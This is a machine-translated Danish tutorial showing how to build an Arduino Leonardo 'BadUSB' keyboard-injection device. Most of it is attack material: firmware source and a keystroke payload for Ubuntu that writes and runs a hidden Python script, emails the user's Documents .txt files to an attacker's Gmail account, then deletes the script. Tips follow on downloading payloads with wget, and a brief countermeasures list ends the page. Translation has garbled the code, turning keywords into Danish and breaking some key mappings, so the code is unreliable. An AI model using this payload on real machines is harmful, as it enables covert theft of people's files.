Indholdsfortegnelse:
- Trin 1: Materialer
- Trin 2: Opbygning af enheden
- Trin 3: Sådan fungerer det i detaljer
- Trin 4: Modforanstaltninger
Video: Arduino Keyboard Exploit Demo (HID) og forebyggelse: 4 trin (med billeder)
2024 Forfatter: John Day | [email protected]. Sidst ændret: 2024-01-30 08:29
I dette projekt vil vi bruge en arduino leonardo til at simulere et muligt USB -angreb ved hjælp af HID (humain interface device).
Jeg har oprettet denne vejledning ikke for at hjælpe hackere, men for at vise dig nogle reelle farer og hvordan du beskytter dig selv mod disse farer. Denne enhed er ikke en enhed, der kan bruges på enhver platform til hackere, det er mere et bevis på konceptet i detaljer.
Vi skal lære følgende:
- hvordan man bruger arduino leonardo til at efterligne tastatur
- hvordan man læser data fra SD -kort
- hvordan man opretter et python -script, der scanner filer og e -mailer dem
- hvordan du beskytter dig selv mod USB -hacking -enheder
Trin 1: Materialer
Dele:
1. Arduino leonardo
2. mikro USB -kortlæser
3. et par GB SD -kort
4. trykknap som denne (VCC, jord og signal)
5. hun-hun og hun-hun-jumperkabler
6. mikro USB til USB kabel
Trin 2: Opbygning af enheden
Før bygningsinstruktionen lad os gennemgå arbejdsprincippet:
Arduino leonardo kan opføre sig som en human interface -enhed (HID) og kan derfor efterligne mus og tastatur. Vi vil bruge denne funktion til at åbne en terminal (i UBUNTU linux) og skrive et lille script, der får adgang til /Documents -mappen inde i brugerens hjemmemappe, kopier.txt -filer der og sender dem til en e -mail. Hvis du vil finde ud af flere detaljer, skal du kontrollere det næste trin.
Fordi det er en demo -enhed, er tingene virkelig enkle, vi vil ikke lodde noget.
Bygningsinstruktioner
Inden vi går i gang, tjek de vedhæftede filer, jeg har vedhæftet fritzing -skemaer og alle de nødvendige filer
1. Saml komponenterne:
* Sæt mikro -USB -kablet i arduinoen
* tilslut nøglekontakten til arduinoen (jord, vcc og ud modul til D8)
* tilslut kortlæseren til arduinoen (ved hjælp af ICSP -header). Arduino leonardo har ikke ICSP -headeren tilsluttet digitale pins, så du skal tilslutte kortlæseren til ICSP -headeren. Du kan finde nogle tegninger af ICSP her: https://learn.sparkfun.com/tutorials/installing-an…. Tilslut SS -stiften til den digitale pin 10
2. få arduino -koden, du kan klone mit arduino -depot på github: https://github.com/danionescu0/arduino og gå til projects/keyboard_exploit eller få det nedenfra:
#include "Keyboard.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Kommando::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); hvis (! SD.begin (chipSelect)) {Serial.println ("Kort mislykkedes, eller ikke til stede!"); Vend tilbage; }} void loop () {int buttonState = digitalRead (buttonPin); hvis ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Uploadet!"); forsinkelse (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filnavnOnCard); hvis (! dataFile) {Serial.println ("Det angivne filnavn findes ikke på SD -kort, skal du kontrollere filnavnOnCard!"); } Strenglinje; mens (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linje); sendToKeyboard (linje); } dataFile.close (); } void sendToKeyboard (strenglinje) {String workingLine = linje; hvis (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); Vend tilbage; } hvis (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Tekst:"); Serial.println (linje); Keyboard.println (linje); tryk på Enter (); Vend tilbage; } Serial.println ("Kommando:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (kommando! = "") {Serial.print ("Kommando fundet:"); Serial.println (kommando); Keyboard.press (getCommandCode (kommando)); forsinkelse (delayBetweenCommands); }} Keyboard.releaseAll (); forsinkelse (delayBetweenCommands); } ugid pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } ugyldig sleepFor (strenglinje) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); forsinkelse (sleepAmount); } char getCommandCode (strengtekst) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kode = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kode; kode = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kode; kode = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kode; kode = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kode; kode = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kode; kode = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kode; kode = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kode; kode = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kode; kode = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kode; kode = (tekst == "KEY_TAB")? KEY_TAB: kode; kode = (tekst == "KEY_RETURN")? KEY_RETURN: kode; kode = (tekst == "KEY_ESC")? KEY_ESC: kode; kode = (tekst == "KEY_INSERT")? KEY_INSERT: kode; kode = (tekst == "KEY_DELETE")? KEY_DELETE: kode; kode = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kode; kode = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kode; kode = (tekst == "NØGLE_HJEM")? NØGLE_HJEM: kode; kode = (tekst == "KEY_END")? KEY_END: kode; kode = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kode; kode = (tekst == "KEY_F1")? KEY_F1: kode; kode = (tekst == "KEY_F2")? KEY_F2: kode; kode = (tekst == "KEY_F3")? KEY_F3: kode; kode = (tekst == "KEY_F4")? KEY_F4: kode; kode = (tekst == "KEY_F5")? KEY_F5: kode; kode = (tekst == "KEY_F6")? KEY_F6: kode; kode = (tekst == "KEY_F7")? KEY_F7: kode; kode = (tekst == "KEY_F8")? KEY_F8: kode; kode = (tekst == "KEY_F9")? KEY_F9: kode; kode = (tekst == "KEY_F10")? KEY_F10: kode; kode = (tekst == "KEY_F11")? KEY_F1: kode; kode = (tekst == "KEY_F12")? KEY_F2: kode;
returkode;
}
3. Upload koden til arduinoen, sørg for at vælge 9600 baud rate, den serielle port og arduino leonardo
4. Formater sd -kortet ved hjælp af FAT16 eller FAT32
5. Hvis du klonede github -repoen ovenfra, skal du kopiere hack.txt -filen på kortet, hvis ikke filen er angivet nedenfor:
Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Kommando:: KEY_INSERT import smtplib import glob, os fra os.path import expanduser fra email. MIMEMultipart import MIMEMultipart fra email. MIMEBase import MIMEBase fra e -mail. MIMETekstimport MIMETekst fra e -mail. Brugerimport COMMASPACE, formatdato fra e -mailimportkodere
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumenter'
subject = body = 'Filer fra hacket computer'
header = 'Til: {0} nFrom: {1} nTema: {2} n'.format (til_adresse, smtp_bruger, emne)
def sendMail (til, emne, tekst, filer = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMETekst (tekst)) for fil i filer: del = MIMEBase ('applikation', "octet-stream") part.set_payload (åben (fil, "rb"). Læs ()) Encoders.encode_base64 (del) del. add_header ('Content-Disposition', 'attachment; filnavn = " % s"' % os.path.basename (fil)) msg.attach (del)
server = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, til, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Kommando:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Rediger følgende linjer:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'receiver_address'
Og erstat med dine e -mail -adresser
7. Fjern kortet, og indsæt det i arduino -kortlæseren
Trin 3: Sådan fungerer det i detaljer
Sådan vil angrebet fungere:
1. Når der trykkes på knappen, læser leonardo sd -kortet ved hjælp af en sd -kortlæser. En særlig fil med nøgler og tastekombinationer vil være til stede på kortet. Filnavnet er "hack.txt".
Filen kan indeholde rå tekst, og den overføres til tastaturet, ligesom den er.
Den kan også indeholde særlige kommandoer som "Sleep::" og "Command::".
En linje som:
Søvn:: 200 betyder en søvn på 200 ms
En linje som:
Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t betyder venstre ctrl trykket, venstre alt trykket, t trykket og alt frigivet
Du kan kontrollere alle specielle nøgler her:
2. Leonardo læser linje for linje og tolker kommandoerne og efterligner tasterne på tastaturet. Filen "hack.txt" indeholder en kombination af nøgler, der gør følgende (for UBUNTU linux):
en. åbner en terminal (CTRL + ALT + T)
b. åbner en python -fil til oprettelse ved hjælp af vi (skriver "vi hack.py"
c. skriver et python -script inde, der samler alle tekstfiler inde i dokumentets hjemmemappe og sender dem over til en bestemt gmail -adresse
d. kører filen i baggrunden ("nohup python hack.py &")
e. sletter filen (rm -rf hack.py)
f. lukker terminalen (ALT + F4)
Det hele kører på få sekunder og efterlader ingen spor.
Forbedringer og fejlfinding
* Du har måske bemærket, at efter jeg har åbnet en terminal, skriver jeg python -filen. en bedre måde at gøre det på er at være vært for det et sted og downloade det ved hjælp af kommandoen "wget some_url" og derefter omdøbe det til hack.py
* Vi kan også downloade eller køre en færdiglavet udnyttelse til det målrettede operativsystem
* wifi kan tilføjes til modulet, og hacks kan uploades via WIFI
* du kan bruge arduino micro (som er meget mindre) og integrere exploit -kode på den (for at gøre den mindre)
Begrænsninger
1. Fordi den simulerede enhed (tastatur og mus) ikke har nogen feedback, ved vi ikke, hvad der vil ske efter udstedelse af en kommando, der betyder, at vi skal bruge forsinkelser. For eksempel udsteder jeg en kommando til at åbne terminal, men jeg ved ikke, hvornår den rent faktisk vil være åben, så jeg skal angive en vilkårlig forsinkelse for at sikre, at de tegn, der er skrevet efter, ikke vil gå tabt.
2. Vi kan støde på tilladelsesproblemer som f.eks. Ikke at have adgang til USB -porten eller tilladelse til at installere noget
3. Skrivehastigheden er ikke særlig god på leonardo
4. Vil kun fungere på et målrettet operativsystem (i vores tilfælde UBUNTU linux)
I det næste trin vil vi prøve at finde måder at udnytte disse begrænsninger på for at forhindre, at vores computer bliver hacket
Trin 4: Modforanstaltninger
1. Deaktivering af USB -porte
-for Windows kan du tjekke denne vejledning:
2. Hviteliste USB -enheder:
- til windows:
2. Lås computeren, når du ikke er væk
3. Log ikke ind som root (kræv adgangskoder for at installere noget)
4. Hold dig selv opdateret (automatiske opdateringer til)
Anbefalede:
HID Keyboard Controller til Project Diva Aracade Future Tone: 5 trin
HID-tastaturcontroller til Project Diva Aracade Future Tone: V-USB er en lavhastigheds USB-biblioteksløsning til AVR-mikrokontroller. Det gør det muligt for os at oprette HID -enheder (tastatur, mus, gamepad osv.) Ved hjælp af AVR -mikrokontroller. HID -tastaturimplementeringen er baseret på HID 1.11. Det understøtter max 6 tastetryk
Forebyggelse af husholdningsgaslækage ved hjælp af Arduino .: 3 trin
Forebyggelse af husholdningsgaslækage ved hjælp af Arduino .: I denne instruktør har jeg lavet en prototype, der automatisk lukker gasgrebet på LPG -cylinderen, når der er en gaslækage. LPG er lugtfri, og et middel kaldet Ethyl Mercaptan tilsættes for dets lugt, så det kan bemærkes, når der er en lækage
Arduino Easy Midi Keyboard: 5 trin (med billeder)
Arduino Easy Midi Keyboard: Jeg er en stor musiknørd og elsker absolut at lave mine egne instrumenter og gadgets, men jeg har ikke meget evner eller ressourcer til at fuldføre komplekse projekter, så da jeg stødte på PretEnGineerings -tutorial var jeg begejstret og ville give det en skudt. En af
Keyboard Cap Micro Watercolor Bots: 12 trin (med billeder)
Keyboard Cap Micro Watercolor Bots: Disse små robotter stammer fra en yndet personlig designudfordring: at udforske den minimale mængde materialer og værktøjer, der er nødvendige for at lave noget. I dette tilfælde er noget, der er og/eller gør "kunst." Nært knyttet til dette mål, mit ønske
Ps2 Controller til Usb Hid Keyboard Emulator: 3 trin
Ps2 Controller til Usb Hid Keyboard Emulator: Dette er et lille projekt til at oprette en programmerbar pc usb adapter til en ps2 controller. Det er tværgående. Jeg lavede det, fordi jeg havde problemer med at installere den sædvanlige softwareløsning (antimicro, joy2key osv.). Biblioteket kompilerer ikke for teenagere